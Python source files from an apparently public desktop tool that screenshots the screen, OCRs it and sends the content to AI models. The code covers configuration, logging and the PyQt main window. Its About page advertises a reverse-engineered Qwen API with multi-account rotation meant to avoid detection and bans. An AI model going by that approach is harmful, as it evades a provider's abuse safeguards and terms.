vision_max_tokens=config["ocr"]["vision_model"]["max_tokens"],
vision_temperature=config["ocr"]["vision_model"]["temperature"],
vision_prompt=config["ocr"]["vision_model"]["prompt"],
notification_type=config["notification"]["type"],
smtp_server=config["notification"]["smtp"]["server"],
smtp_port=config["notification"]["smtp"]["port"],
smtp_username=config["notification"]["smtp"]["username"],
smtp_password=config["notification"]["smtp"]["password"],
smtp_to_email=config["notification"]["smtp"]["to_email"],
hotkey_screenshot=config["hotkey"]["screenshot"],
screenshot_quality=config["screenshot"]["quality"],
screenshot_format=config["screenshot"]["format"],
logging_level=config["logging"]["level"]
)
with open(self.config_file, 'w', encoding='utf-8') as f:
f.write(formatted_content)
def _merge_config(self, default: Dict, loaded: Dict) -> Dict:
"""合并配置，确保所有默认键都存在"""
result = default.copy()
for key, value in loaded.items():
if key in result and isinstance(result[key], dict) and isinstance(value, dict):
result[key] = self._merge_config(result[key], value)
else:
result[key] = value
return result
def get_config(self, path: str = None) -> Any:
"""获取配置值"""
if path is None:
return self.config
keys = path.split('.')
value = self.config
for key in keys:
if isinstance(value, dict) and key in value:
value = value[key]
else:
return None
return value
def set_config(self, path: str, value: Any) -> bool:
"""设置配置值"""
try:
keys = path.split('.')
config = self.config
for key in keys[:-1]:
if key not in config:
config[key] = {}
config = config[key]
config[keys[-1]] = value
return True
except Exception as e:
logging.error(f"设置配置失败: {e}")
return False
def export_config(self, file_path: str) -> bool:
"""导出配置文件"""
try:
if not TOML_AVAILABLE:
return False
with open(file_path, 'wb') as f:
tomli_w.dump(self.config, f)
return True
except Exception as e:
logging.error(f"导出配置失败: {e}")
return False
def import_config(self, file_path: str) -> bool:
"""导入配置文件"""
try:
if not TOML_AVAILABLE:
return False
with open(file_path, 'rb') as f:
imported_config = tomllib.load(f)
self.config = self._merge_config(self._get_hardcoded_config(), imported_config)
self.save_config()
return True
except Exception as e:
logging.error(f"导入配置失败: {e}")
return False
def reset_config(self) -> bool:
"""重置为默认配置"""
try:
self.config = self._get_hardcoded_config()
self.save_config()
return True
except Exception as e:
logging.error(f"重置配置失败: {e}")
return False
def delete_config(self) -> bool:
"""删除配置文件"""
try:
if os.path.exists(self.config_file):
os.remove(self.config_file)
logging.info("配置文件已删除")
return True
except Exception as e:
logging.error(f"删除配置文件失败: {e}")
return False
class LogManager:
"""日志管理器"""
def __init__(self):
self.log_dir = "logs"
def setup_logging(self, level: str = "INFO"):
"""设置日志"""
# 创建日志目录
if not os.path.exists(self.log_dir):
os.makedirs(self.log_dir)
# 清理旧日志
self._cleanup_old_logs()
# 设置日志格式
log_format = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'
# 设置日志文件名
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
log_file = os.path.join(self.log_dir, f"app_{timestamp}.log")
# 配置日志
logging.basicConfig(
level=getattr(logging, level.upper(), logging.INFO),
format=log_format,
handlers=[
logging.FileHandler(log_file, encoding='utf-8'),
logging.StreamHandler()
]
)
def _cleanup_old_logs(self):
"""清理旧日志文件，保留最近10个"""
try:
log_files = glob.glob(os.path.join(self.log_dir, "app_*.log"))
log_files.sort(key=os.path.getmtime, reverse=True)
# 删除超过10个的旧日志
for old_log in log_files[10:]:
os.remove(old_log)
except Exception as e:
print(f"清理日志文件失败: {e}")
class ErrorHandler:
"""错误处理器"""
def __init__(self):
pass
def handle_error(self, error: Exception, context: str = "", show_dialog: bool = True):
"""处理错误"""
error_msg = f"{context}: {str(error)}" if context else str(error)
logging.error(error_msg, exc_info=True)
if show_dialog:
self.show_error_dialog(error_msg)
def show_error_dialog(self, message: str):
"""显示错误对话框"""
try:
msg_box = QMessageBox()
msg_box.setIcon(QMessageBox.Icon.Critical)
msg_box.setWindowTitle("错误")
msg_box.setText(message)
msg_box.setStandardButtons(QMessageBox.StandardButton.Ok)
msg_box.exec()
except Exception as e:
print(f"显示错误对话框失败: {e}")
class TaskManager(QObject):
"""任务管理器"""
task_started = pyqtSignal()
task_finished = pyqtSignal()
def __init__(self):
super().__init__()
self._is_running = False
self._current_task = None
def is_running(self) -> bool:
"""检查是否有任务在运行"""
return self._is_running
def start_task(self, task_name: str) -> bool:
"""开始任务"""
if self._is_running:
logging.warning(f"任务 {self._current_task} 正在运行，无法启动新任务 {task_name}")
return False
self._is_running = True
self._current_task = task_name
self.task_started.emit()
logging.info(f"任务开始: {task_name}")
return True
def finish_task(self):
"""完成任务"""
if self._is_running:
logging.info(f"任务完成: {self._current_task}")
self._is_running = False
self._current_task = None
self.task_finished.emit()
def get_current_task(self) -> Optional[str]:
"""获取当前任务名称"""
return self._current_task
|
00000O00000/ask-ai-screenshot
| 4,371 |
main.py
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
AI截图分析主程序
作者: AI Assistant
版本: 1.0.0-simplified
"""
import sys
import logging
import threading
import time
from PyQt6.QtWidgets import QApplication
from main_window import MainWindow
from util import ConfigManager, LogManager, ErrorHandler
from core import ScreenshotManager, OCRManager, AIClientManager
from ai import app as flask_app
class Application:
"""应用程序主类"""
def __init__(self):
self.app = None
self.main_window = None
self.config_manager = ConfigManager()
self.log_manager = LogManager()
self.error_handler = ErrorHandler()
self.screenshot_manager = None
self.ocr_manager = None
self.ai_client_manager = None
self.flask_thread = None
self.flask_port = 58888
def start_flask_server(self):
"""在后台线程中启动Flask服务"""
try:
logging.info(f"正在启动Flask服务于端口 {self.flask_port}...")
flask_app.run(host='127.0.0.1', port=self.flask_port, debug=False, use_reloader=False)
except Exception as e:
logging.error(f"Flask服务启动失败: {e}")
def initialize(self):
"""初始化应用程序"""
try:
# 初始化日志
self.log_manager.setup_logging()
logging.info("应用程序启动")
# 加载配置
self.config_manager.load_config()
# 检查是否需要启动Flask服务
# 同时检测分析AI和OCR AI的API端点是否指向内置AI服务
ai_config = self.config_manager.get_config("ai_model")
ocr_config = self.config_manager.get_config("ocr.vision_model")
local_endpoint = f"http://127.0.0.1:{self.flask_port}"
# 检查分析AI是否指向内置服务
ai_uses_local = ai_config and ai_config.get("api_endpoint", "").startswith(local_endpoint)
# 检查OCR AI是否指向内置服务
ocr_uses_local = ocr_config and ocr_config.get("api_endpoint", "").startswith(local_endpoint)
if ai_uses_local or ocr_uses_local:
# 至少有一个配置指向内置服务，启动Flask服务
services_using_local = []
if ai_uses_local:
services_using_local.append("分析AI")
if ocr_uses_local:
services_using_local.append("OCR AI")
logging.info(f"检测到以下服务使用内置AI: {', '.join(services_using_local)}，启动Flask服务...")
self.flask_thread = threading.Thread(target=self.start_flask_server, daemon=True)
self.flask_thread.start()
# 等待Flask服务启动
time.sleep(2)
else:
logging.info("分析AI和OCR AI均未指向内置服务，跳过Flask服务启动")
# 初始化各个管理器
self.screenshot_manager = ScreenshotManager(self.config_manager)
self.ocr_manager = OCRManager(self.config_manager)
self.ai_client_manager = AIClientManager(self.config_manager)
# 创建Qt应用
self.app = QApplication(sys.argv)
self.app.setApplicationName("AI截图分析")
self.app.setApplicationVersion("1.0.0-simplified")
# 创建主窗口
self.main_window = MainWindow(
self.config_manager,
self.screenshot_manager,
self.ocr_manager,
self.ai_client_manager
)
return True
except Exception as e:
self.error_handler.handle_error(e, "应用程序初始化失败")
return False
def run(self):
"""运行应用程序"""
if not self.initialize():
return 1
try:
self.main_window.show()
return self.app.exec()
except Exception as e:
self.error_handler.handle_error(e, "应用程序运行失败")
return 1
def cleanup(self):
"""清理资源"""
try:
if self.screenshot_manager:
self.screenshot_manager.cleanup()
logging.info("应用程序退出")
except Exception as e:
self.error_handler.handle_error(e, "清理资源失败")
def main():
"""主函数"""
app = Application()
try:
exit_code = app.run()
finally:
app.cleanup()
sys.exit(exit_code)
if __name__ == "__main__":
main()
|
00000O00000/ask-ai-screenshot
| 32,806 |
main_window.py
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
AI截图分析主窗口界面
只包含主页、配置文件选择、关于页
"""
import os
import logging
from PyQt6.QtWidgets import (
QMainWindow, QWidget, QVBoxLayout, QHBoxLayout, QTabWidget,
QLabel, QPushButton, QTextEdit, QLineEdit, QGroupBox,
QFileDialog, QComboBox, QFormLayout
)
from PyQt6.QtCore import QThread, pyqtSignal
from PyQt6.QtGui import QIcon, QPixmap
from custom_window import CustomMessageBox, MarkdownViewer, NotificationWindow
from util import TaskManager
from core import EmailManager
class WorkerThread(QThread):
"""工作线程"""
status_update = pyqtSignal(str)
task_completed = pyqtSignal(str)
task_failed = pyqtSignal(str)
def __init__(self, task_func, *args, **kwargs):
super().__init__()
self.task_func = task_func
self.args = args
self.kwargs = kwargs
def run(self):
try:
result = self.task_func(*self.args, **self.kwargs)
self.task_completed.emit(result)
except Exception as e:
self.task_failed.emit(str(e))
class MainWindow(QMainWindow):
"""主窗口"""
def __init__(self, config_manager, screenshot_manager, ocr_manager, ai_client_manager):
super().__init__()
self.config_manager = config_manager
self.screenshot_manager = screenshot_manager
self.ocr_manager = ocr_manager
self.ai_client_manager = ai_client_manager
self.task_manager = TaskManager()
# 初始化邮件管理器和通知窗口
self.email_manager = EmailManager(config_manager)
self.notification_window = NotificationWindow()
self.current_image = None
self.worker_thread = None
self.init_ui()
self.connect_signals()
self.setup_hotkey()
self.load_config_to_ui()
def init_ui(self):
"""初始化界面"""
self.setWindowTitle("AI截图分析")
self.setGeometry(100, 100, 800, 500)
# 设置窗口图标
try:
from icon_data import get_icon_data
icon_data = get_icon_data()
pixmap = QPixmap()
pixmap.loadFromData(icon_data)
self.setWindowIcon(QIcon(pixmap))
except ImportError:
if os.path.exists('favicon.ico'):
self.setWindowIcon(QIcon('favicon.ico'))
# 设置样式
self.setStyleSheet("""
QMainWindow {
background-color: #f8fffe;
font-size: 16px;
}
QTabWidget::pane {
border: 1px solid #c0c4cc;
background-color: white;
}
QTabBar::tab {
background-color: #e8f5e8;
padding: 10px 18px;
margin-right: 2px;
border-top-left-radius: 4px;
border-top-right-radius: 4px;
font-size: 16px;
}
QTabBar::tab:selected {
background-color: #a8d8a8;
color: white;
}
QPushButton {
background-color: #a8d8a8;
color: white;
border: none;
padding: 12px 20px;
border-radius: 4px;
font-weight: bold;
font-size: 16px;
min-height: 20px;
}
QPushButton:hover {
background-color: #90c890;
}
QPushButton:pressed {
background-color: #78b878;
}
QPushButton:disabled {
background-color: #cccccc;
color: #666666;
}
QLineEdit {
font-size: 16px;
padding: 8px 12px;
min-height: 20px;
border: 1px solid #ddd;
border-radius: 4px;
}
QLineEdit:focus {
outline: none;
border: 2px solid #a8d8a8;
}
QLabel {
font-size: 16px;
padding: 4px;
}
QTextEdit {
font-size: 16px;
padding: 8px;
border: 1px solid #ddd;
border-radius: 4px;
}
QTextEdit:focus {
outline: none;
border: 2px solid #a8d8a8;
}
QSpinBox, QDoubleSpinBox {
font-size: 16px;
padding: 8px 12px;
min-height: 20px;
border: 1px solid #ddd;
border-radius: 4px;
}
QSpinBox:focus, QDoubleSpinBox:focus {
outline: none;
border: 2px solid #a8d8a8;
}
QCheckBox {
font-size: 16px;
padding: 4px;
}
QComboBox {
font-size: 17px;
padding: 8px 8px;
min-height: 14px;
border: 1px solid #ddd;
border-radius: 4px;
background-color: white;
}
QComboBox:focus {
outline: none;
border: 2px solid #a8d8a8;
}
QComboBox::drop-down {
border: none;
width: 20px;
}
QComboBox::down-arrow {
image: none;
border-left: 5px solid transparent;
border-right: 5px solid transparent;
border-top: 5px solid #666;
margin-right: 5px;
}
QComboBox QAbstractItemView {
font-size: 18px;
background-color: white;
border: 1px solid #ddd;
selection-background-color: #a8d8a8;
selection-color: white;
outline: none;
}
QComboBox QAbstractItemView::item {
height: 25px;
padding: 8px 8px;
border-bottom: 1px solid #f0f0f0;
}
QComboBox QAbstractItemView::item:hover {
background-color: #e8f5e8;
}
QComboBox QAbstractItemView::item:selected {
background-color: #a8d8a8;
color: white;
}
""")
# 创建中央部件
central_widget = QWidget()
self.setCentralWidget(central_widget)
# 创建主布局
main_layout = QVBoxLayout(central_widget)
# 创建标签页
self.tab_widget = QTabWidget()
main_layout.addWidget(self.tab_widget)
# 添加页面
self.create_home_page()
self.create_config_page()
self.create_about_page()
def create_home_page(self):
"""创建主页"""
home_widget = QWidget()
self.tab_widget.addTab(home_widget, "主页")
layout = QHBoxLayout(home_widget)
# 左侧控制台
control_panel = QGroupBox("控制台")
control_panel.setMaximumWidth(300)
control_layout = QVBoxLayout(control_panel)
# 截图按钮
self.screenshot_btn = QPushButton("开始截图")
self.screenshot_btn.clicked.connect(self.start_screenshot)
control_layout.addWidget(self.screenshot_btn)
# 从剪贴板导入按钮
self.clipboard_btn = QPushButton("从剪贴板导入图片")
self.clipboard_btn.setStyleSheet("""
QPushButton {
background-color: white;
color: #333;
border: 1px solid #ccc;
padding: 12px 20px;
border-radius: 4px;
}
QPushButton:hover {
background-color: #f5f5f5;
border-color: #999;
}
QPushButton:pressed {
background-color: #e0e0e0;
}
""")
self.clipboard_btn.clicked.connect(self.import_from_clipboard)
control_layout.addWidget(self.clipboard_btn)
# 提示词选择
prompt_group = QGroupBox("提示词选择")
prompt_layout = QVBoxLayout(prompt_group)
self.prompt_combo = QComboBox()
self.prompt_combo.setToolTip("选择要使用的提示词")
prompt_layout.addWidget(self.prompt_combo)
control_layout.addWidget(prompt_group)
# 强制停止按钮
self.stop_btn = QPushButton("强制停止任务")
self.stop_btn.setEnabled(False)
self.stop_btn.clicked.connect(self.stop_task)
control_layout.addWidget(self.stop_btn)
control_layout.addStretch()
layout.addWidget(control_panel)
# 右侧输出区
output_panel = QGroupBox("输出区")
output_layout = QVBoxLayout(output_panel)
# 状态标签
self.status_label = QLabel("就绪")
self.status_label.setStyleSheet("""
font-weight: bold;
color: #666;
text-overflow: ellipsis;
overflow: hidden;
white-space: nowrap;
""")
output_layout.addWidget(self.status_label)
# 输出文本区
self.output_text = MarkdownViewer()
self.output_text.setPlaceholderText("AI分析结果将在这里显示...")
output_layout.addWidget(self.output_text)
layout.addWidget(output_panel)
def create_config_page(self):
"""创建配置文件选择页面"""
config_widget = QWidget()
self.tab_widget.addTab(config_widget, "配置文件")
layout = QVBoxLayout(config_widget)
# 当前配置文件信息
current_group = QGroupBox("当前配置文件")
current_layout = QFormLayout(current_group)
self.current_config_path = QLineEdit()
self.current_config_path.setReadOnly(True)
self.current_config_path.setText(self.config_manager.config_file_path)
self.config_status_label = QLabel("配置有效")
self.config_status_label.setStyleSheet("color: green; font-weight: bold;")
current_layout.addRow("配置文件路径:", self.current_config_path)
current_layout.addRow("配置状态:", self.config_status_label)
layout.addWidget(current_group)
# 配置文件操作
file_group = QGroupBox("配置文件操作")
file_layout = QVBoxLayout(file_group)
# 选择配置文件
select_layout = QHBoxLayout()
self.select_config_btn = QPushButton("选择配置文件")
self.select_config_btn.clicked.connect(self.select_config_file)
self.validate_config_btn = QPushButton("验证配置")
self.validate_config_btn.clicked.connect(self.validate_config)
select_layout.addWidget(self.select_config_btn)
select_layout.addWidget(self.validate_config_btn)
file_layout.addLayout(select_layout)
# 其他操作
other_layout = QHBoxLayout()
self.export_config_btn = QPushButton("导出配置")
self.export_config_btn.clicked.connect(self.export_config)
self.reset_config_btn = QPushButton("重置为默认")
self.reset_config_btn.clicked.connect(self.reset_config)
other_layout.addWidget(self.export_config_btn)
other_layout.addWidget(self.reset_config_btn)
file_layout.addLayout(other_layout)
layout.addWidget(file_group)
# 配置文件内容预览
preview_group = QGroupBox("配置文件内容预览")
preview_layout = QVBoxLayout(preview_group)
self.config_preview = QTextEdit()
self.config_preview.setReadOnly(True)
self.config_preview.setMaximumHeight(200)
self.config_preview.setStyleSheet("font-family: 'Consolas', 'Monaco', monospace;")
preview_layout.addWidget(self.config_preview)
layout.addWidget(preview_group)
layout.addStretch()
# 加载当前配置预览
self.load_config_preview()
def create_about_page(self):
"""创建关于页面"""
about_widget = QWidget()
self.tab_widget.addTab(about_widget, "关于")
layout = QVBoxLayout(about_widget)
# 程序信息
info_text = QTextEdit()
info_text.setReadOnly(True)
info_text.setHtml("""
<style>
table {
border-collapse: collapse;
width: 100%;
}
table, th, td {
border: 1px solid black;
padding: 8px;
}
</style>
<h2 style="color: #a8d8a8;">AI截图分析 v2.2</h2>
<p>一个方便的AI截图分析工具，快速识别屏幕上看到的东西，然后让他帮你解释、答题、翻译。</p>
<p>软件目前处于测试版，可能存在Bug，若有问题，欢迎前往 Github 提交 issue。</p>
<h2>功能特点</h2>
<ul>
<li><strong>核心功能</strong>：截图后，将图片OCR为文字或直接提交给AI，并自动显示AI回复结果</li>
<li><strong>可扩展性</strong>：使用提示词自定义功能，例如 一键截图做题、解释、翻译 等功能</li>
<li><strong>开箱即用</strong>：内置原创 Qwen API 逆向，开箱即用</li>
<li><strong>高度自由</strong>：可自行配置使用的AI接口、OCR接口、提示词</li>
</ul>
<h2>更新日志</h2>
<h3>v2.2</h3>
<ul>
<li>修复：SMTP邮件通知功能异常</li>
<li>修复：额外通知设置为小窗时，会同时弹出大窗口</li>
<li>新增：Qwen API逆向新增多账号负载均衡，确保不会引发并发异常导致被检测封禁</li>
</ul>
<h3>v2.1</h3>
<ul>
<li>Qwen API 上传图片功能，可使用这个AI上传图片进行OCR</li>
<li>替换限制次数的云智OCR引擎为内置 Qwen API，使用“Qwen-2.5vl-32b-instruct”作为OCR引擎。
<ul>
<li>老版本用户如果想用这个AI，可以删除配置文件后重启软件，以自动生成新配置。</li>
</ul>
</li>
</ul>
<h3>v2.0</h3>
<ul>
<li>移除可能导致问题的前端配置部分，请自行编辑<code>config.toml</code>文件以自定义配置</li>
<li>新增：内置原创 Qwen API 逆向，允许开箱即用</li>
</ul>
<h2>注意事项</h2>
<ul>
<li>只有多模态模型允许直接提交图片，目前常用的多模态模型有 Claude 3/4 ，gpt-4o，Qwen-2.5vl。而Qwen3全系列、Deepseek系列、Kimi-K2都不是多模态模型，需要先OCR后再提交。若发现模型报错400，请检查此配置是否正确。</li>
<li>若需要联网功能，请使用秘塔API，赠送额度不少，且付费很便宜。</li>
</ul>
<h2>推荐AI服务商</h2>
<table style="width: 100%;border-collapse: collapse;">
<thead>
<tr>
<th>名称</th>
<th>推荐理由</th>
<th>链接地址</th>
</tr>
</thead>
<tbody>
<tr>
<td>硅基流动</td>
<td>模型齐全，稳定，价格合理</td>
<td>https://cloud.siliconflow.cn/models</td>
</tr>
<tr>
<td>魔搭社区</td>
<td>Qwen3全系列，每日2000次免费</td>
<td>https://www.modelscope.cn/my/myaccesstoken</td>
</tr>
<tr>
<td>秘塔AI</td>
<td>超强、超快联网搜索</td>
<td>https://metaso.cn/search-api/playground</td>
</tr>
<tr>
<td>V3 API</td>
<td>最全中转商，400+模型</td>
<td>https://api.gpt.ge/register?aff=TVyz</td>
</tr>
</tbody>
</table>
<h2>腾讯OCR配置步骤</h2>
<p>腾讯云OCR每月有1000次OCR调用次数，如果对精度有要求，推荐使用此OCR</p>
<ol>
<li>
<p><strong>登录腾讯云</strong>：前往链接，登录控制台。https://console.cloud.tencent.com</p>
</li>
<li>
<p><strong>开通OCR服务</strong>：前往链接，开通OCR服务。https://console.cloud.tencent.com/ocr/overview</p>
</li>
<li>
<p><strong>获取密钥对</strong>：前往链接，获取 <code>SecretID</code> 和 <code>SecretKey</code> ，保存到本地。https://console.cloud.tencent.com/cam/capi</p>
</li>
<li>
<p><strong>等待额度到账</strong>：回到开通服务界面，持续刷新，等待免费的1000额度到账，然后在软件中配置密钥对，开始使用OCR服务。</p>
</li>
</ol>
<h2>许可证</h2>
<p>MIT License</p>
<p>本项目仅供学习和个人使用，不得用于任何商业化用途。</p>
<p>Github项目地址：https://github.com/00000O00000/ask-ai-screenshot</p>
<p>软件图标来源：iconfont</p>
<p>https://www.iconfont.cn/collections/detail?spm=a313x.user_detail.i1.dc64b3430.6b413a81uspeMj&cid=17714</p>
""")
layout.addWidget(info_text)
def connect_signals(self):
"""连接信号"""
# 截图管理器信号
self.screenshot_manager.screenshot_taken.connect(self.on_screenshot_taken)
self.screenshot_manager.screenshot_failed.connect(self.on_screenshot_failed)
self.screenshot_manager.screenshot_cancelled.connect(self.on_screenshot_cancelled)
# OCR管理器信号
self.ocr_manager.ocr_completed.connect(self.on_ocr_completed)
self.ocr_manager.ocr_failed.connect(self.on_ocr_failed)
# AI客户端管理器信号
self.ai_client_manager.response_completed.connect(self.on_ai_response_completed)
self.ai_client_manager.request_failed.connect(self.on_ai_request_failed)
self.ai_client_manager.streaming_response.connect(self.on_ai_streaming_response)
self.ai_client_manager.reasoning_content.connect(self.on_ai_reasoning_content)
# 任务管理器信号
self.task_manager.task_started.connect(self.on_task_started)
self.task_manager.task_finished.connect(self.on_task_finished)
# 配置管理器信号
self.config_manager.config_changed.connect(self.load_config_to_ui)
def setup_hotkey(self):
"""设置快捷键"""
self.screenshot_manager.setup_hotkey()
def load_config_to_ui(self):
"""加载配置到界面"""
# 更新配置文件路径显示
if hasattr(self, 'current_config_path'):
self.current_config_path.setText(self.config_manager.config_file_path)
# 验证配置并更新状态
self.validate_config()
# 更新配置预览
self.load_config_preview()
# 加载提示词到下拉框
self.load_prompts_to_combo()
def load_prompts_to_combo(self):
"""加载提示词到下拉框"""
try:
# 清空现有选项
self.prompt_combo.clear()
# 获取提示词配置
prompts = self.config_manager.get_config("prompts")
if prompts and isinstance(prompts, list):
for prompt in prompts:
if isinstance(prompt, dict) and "name" in prompt:
self.prompt_combo.addItem(prompt["name"])
# 默认选择第一个
if self.prompt_combo.count() > 0:
self.prompt_combo.setCurrentIndex(0)
else:
# 如果没有配置或格式错误，添加默认选项
self.prompt_combo.addItem("默认提示词")
except Exception as e:
logging.error(f"加载提示词失败: {e}")
self.prompt_combo.clear()
self.prompt_combo.addItem("默认提示词")
def get_selected_prompt_content(self):
"""获取当前选中的提示词内容"""
try:
selected_name = self.prompt_combo.currentText()
prompts = self.config_manager.get_config("prompts")
if prompts and isinstance(prompts, list):
for prompt in prompts:
if isinstance(prompt, dict) and prompt.get("name") == selected_name:
return prompt.get("content", "")
# 如果没找到，返回默认内容
return "请分析这张图片或OCR识别的文字内容，并提供详细的解释和分析。"
except Exception as e:
logging.error(f"获取提示词内容失败: {e}")
return "请分析这张图片或OCR识别的文字内容，并提供详细的解释和分析。"
def select_config_file(self):
"""选择配置文件"""
file_path, _ = QFileDialog.getOpenFileName(
self, "选择配置文件", "", "TOML files (*.toml);;All files (*.*)"
)
if file_path:
if self.config_manager.load_config_from_file(file_path):
self.current_config_path.setText(file_path)
self.validate_config()
self.load_config_preview()
CustomMessageBox(self, "成功", "配置文件加载成功！", "success").exec()
else:
CustomMessageBox(self, "错误", "配置文件加载失败！请检查文件格式。", "error").exec()
def validate_config(self):
"""验证配置"""
try:
# 检查必要的配置项
ai_config = self.config_manager.get_config("ai_model")
prompts_config = self.config_manager.get_config("prompts")
if not ai_config:
self.config_status_label.setText("配置无效：缺少AI模型配置")
self.config_status_label.setStyleSheet("color: red; font-weight: bold;")
return False
if not prompts_config or not isinstance(prompts_config, list) or len(prompts_config) == 0:
self.config_status_label.setText("配置无效：缺少提示词配置")
self.config_status_label.setStyleSheet("color: red; font-weight: bold;")
return False
# 检查关键字段
required_ai_fields = ['model_id', 'api_endpoint', 'api_key']
for field in required_ai_fields:
if not ai_config.get(field):
self.config_status_label.setText(f"配置无效：AI模型缺少{field}")
self.config_status_label.setStyleSheet("color: red; font-weight: bold;")
return False
# 检查提示词配置格式
for i, prompt in enumerate(prompts_config):
if not isinstance(prompt, dict) or not prompt.get('name') or not prompt.get('content'):
self.config_status_label.setText(f"配置无效：第{i+1}个提示词格式错误")
self.config_status_label.setStyleSheet("color: red; font-weight: bold;")
return False
self.config_status_label.setText("配置有效")
self.config_status_label.setStyleSheet("color: green; font-weight: bold;")
return True
except Exception as e:
self.config_status_label.setText(f"配置验证失败：{str(e)}")
self.config_status_label.setStyleSheet("color: red; font-weight: bold;")
return False
def load_config_preview(self):
"""加载配置文件内容预览"""
try:
import os
if os.path.exists(self.config_manager.config_file_path):
with open(self.config_manager.config_file_path, 'r', encoding='utf-8') as f:
content = f.read()
self.config_preview.setPlainText(content)
else:
self.config_preview.setPlainText("配置文件不存在")
except Exception as e:
self.config_preview.setPlainText(f"读取配置文件失败：{str(e)}")
def export_config(self):
"""导出配置"""
file_path, _ = QFileDialog.getSaveFileName(
self, "导出配置文件", "config.toml", "TOML files (*.toml)"
)
if file_path:
if self.config_manager.export_config(file_path):
CustomMessageBox(self, "成功", "配置导出成功！", "success").exec()
else:
CustomMessageBox(self, "错误", "配置导出失败！", "error").exec()
def import_config(self):
"""导入配置文件（复制到当前配置目录）"""
file_path, _ = QFileDialog.getOpenFileName(
self, "导入配置文件", "", "TOML files (*.toml);;All files (*.*)"
)
if file_path:
try:
import shutil
import os
# 复制文件到当前配置目录
config_dir = os.path.dirname(self.config_manager.config_file_path)
if not os.path.exists(config_dir):
os.makedirs(config_dir)
target_path = self.config_manager.config_file_path
shutil.copy2(file_path, target_path)
# 重新加载配置
if self.config_manager.load_config():
self.load_config_to_ui()
CustomMessageBox(self, "成功", "配置文件导入成功！", "success").exec()
else:
CustomMessageBox(self, "错误", "配置文件格式错误！", "error").exec()
except Exception as e:
CustomMessageBox(self, "错误", f"配置导入失败：{str(e)}", "error").exec()
def reset_config(self):
"""重置配置"""
reply = CustomMessageBox(
self, "确认", "确定要重置为默认配置吗？这将恢复默认设置。", "question", ["确定", "取消"]
).exec()
if reply == "确定":
if self.config_manager.reset_config():
self.load_config_to_ui()
CustomMessageBox(self, "成功", "配置重置成功！", "success").exec()
else:
CustomMessageBox(self, "错误", "配置重置失败！", "error").exec()
def start_screenshot(self):
"""开始截图"""
if self.task_manager.start_task("截图"):
self.screenshot_manager.start_screenshot()
def import_from_clipboard(self):
"""从剪贴板导入图片"""
if self.task_manager.start_task("剪贴板导入"):
try:
image = self.screenshot_manager.screenshot_from_clipboard()
if image:
self.on_screenshot_taken(image)
else:
self.update_status("剪贴板中没有图片")
self.task_manager.finish_task()
except Exception as e:
self.on_screenshot_failed(str(e))
def stop_task(self):
"""停止任务"""
if self.worker_thread and self.worker_thread.isRunning():
self.worker_thread.terminate()
self.worker_thread.wait()
if hasattr(self.ai_client_manager, 'stop_request'):
self.ai_client_manager.stop_request()
self.task_manager.finish_task()
self.update_status("任务已停止")
def on_screenshot_taken(self, image):
"""截图完成处理"""
self.current_image = image
# 获取OCR配置
ocr_config = self.config_manager.get_config("ocr")
ocr_type = ocr_config.get("type", "ocr_then_text") if ocr_config else "ocr_then_text"
if ocr_type == "direct_image":
# 直接提交图片给AI
self.update_status("截图完成，正在请求AI分析...")
self._send_ai_request_with_image()
else:
# OCR后提交文字
self.update_status("截图完成，开始OCR识别...")
# 启动OCR工作线程
self.worker_thread = WorkerThread(self.ocr_manager.recognize_image, image)
self.worker_thread.task_completed.connect(self.on_ocr_completed)
self.worker_thread.task_failed.connect(self.on_ocr_failed)
self.worker_thread.start()
def on_screenshot_failed(self, error_msg):
"""截图失败处理"""
self.update_status(f"截图失败: {error_msg}")
self.task_manager.finish_task()
def on_screenshot_cancelled(self):
"""截图取消处理"""
self.update_status("截图已取消")
self.task_manager.finish_task()
def _send_ai_request_with_image(self):
"""直接发送图片给AI分析"""
# 获取配置
ai_config = self.config_manager.get_config("ai_model")
if not ai_config:
self.on_ai_request_failed("配置不完整，请检查AI模型配置")
return
# 获取选中的提示词内容
prompt_content = self.get_selected_prompt_content()
if ai_config.get("vision_support", False):
# 支持视觉的模型直接发送图片
self.ai_client_manager.send_request("default", prompt_content, self.current_image)
else:
self.on_ai_request_failed("当前AI模型不支持图像输入，请选择支持视觉的模型或使用OCR模式")
def on_ocr_completed(self, ocr_text):
"""OCR完成处理"""
self.update_status("OCR完成，正在请求AI分析...")
# 获取配置
ai_config = self.config_manager.get_config("ai_model")
if not ai_config:
self.on_ai_request_failed("配置不完整，请检查AI模型配置")
return
# 获取选中的提示词内容
prompt_content = self.get_selected_prompt_content()
# 发送AI请求（OCR后提交文字模式）
full_prompt = f"{prompt_content}\n\n以下是OCR识别的文字内容：\n{ocr_text}"
self.ai_client_manager.send_request("default", full_prompt)
def on_ocr_failed(self, error_msg):
"""OCR失败处理"""
self.update_status(f"OCR失败: {error_msg}")
self.task_manager.finish_task()
def on_ai_response_completed(self, response):
"""AI响应完成处理"""
self.output_text.set_markdown(response)
self.update_status("AI分析完成")
# 显示通知
self.show_notification("AI分析完成", response)
# 如果有大窗口正在显示，完成最终渲染
if hasattr(self, 'large_window') and self.large_window:
# 流式请求完成后进行一次完整的markdown渲染
if hasattr(self.large_window, 'current_response_content'):
self.large_window._batch_update_display(force_markdown=True)
self.task_manager.finish_task()
def on_ai_reasoning_content(self, reasoning_content):
"""AI推理内容处理"""
# 检查通知配置，只有在large_popup时才创建大窗口
notification_type = self.config_manager.get_config("notification.type") or "small_popup"
if notification_type == "large_popup":
# 如果没有大窗口，创建一个
if not hasattr(self, 'large_window') or not self.large_window:
self.large_window = self.show_large_window("AI正在分析...")
# 添加推理内容到大窗口
if self.large_window and hasattr(self.large_window, 'append_reasoning_content'):
self.large_window.append_reasoning_content(reasoning_content)
def on_ai_streaming_response(self, content_type, content):
"""AI流式响应处理"""
if content_type == "content":
# 更新主窗口输出
self.output_text.append_text(content)
# 检查通知配置，只有在large_popup时才创建大窗口
notification_type = self.config_manager.get_config("notification.type") or "small_popup"
if notification_type == "large_popup":
# 如果没有大窗口，创建一个
if not hasattr(self, 'large_window') or not self.large_window:
self.large_window = self.show_large_window("AI正在分析...")
# 添加响应内容到大窗口
if self.large_window and hasattr(self.large_window, 'append_response_content'):
self.large_window.append_response_content(content)
def on_ai_request_failed(self, error_msg):
"""AI请求失败处理"""
self.output_text.set_markdown(f"**错误**: {error_msg}")
self.update_status(f"AI请求失败: {error_msg}")
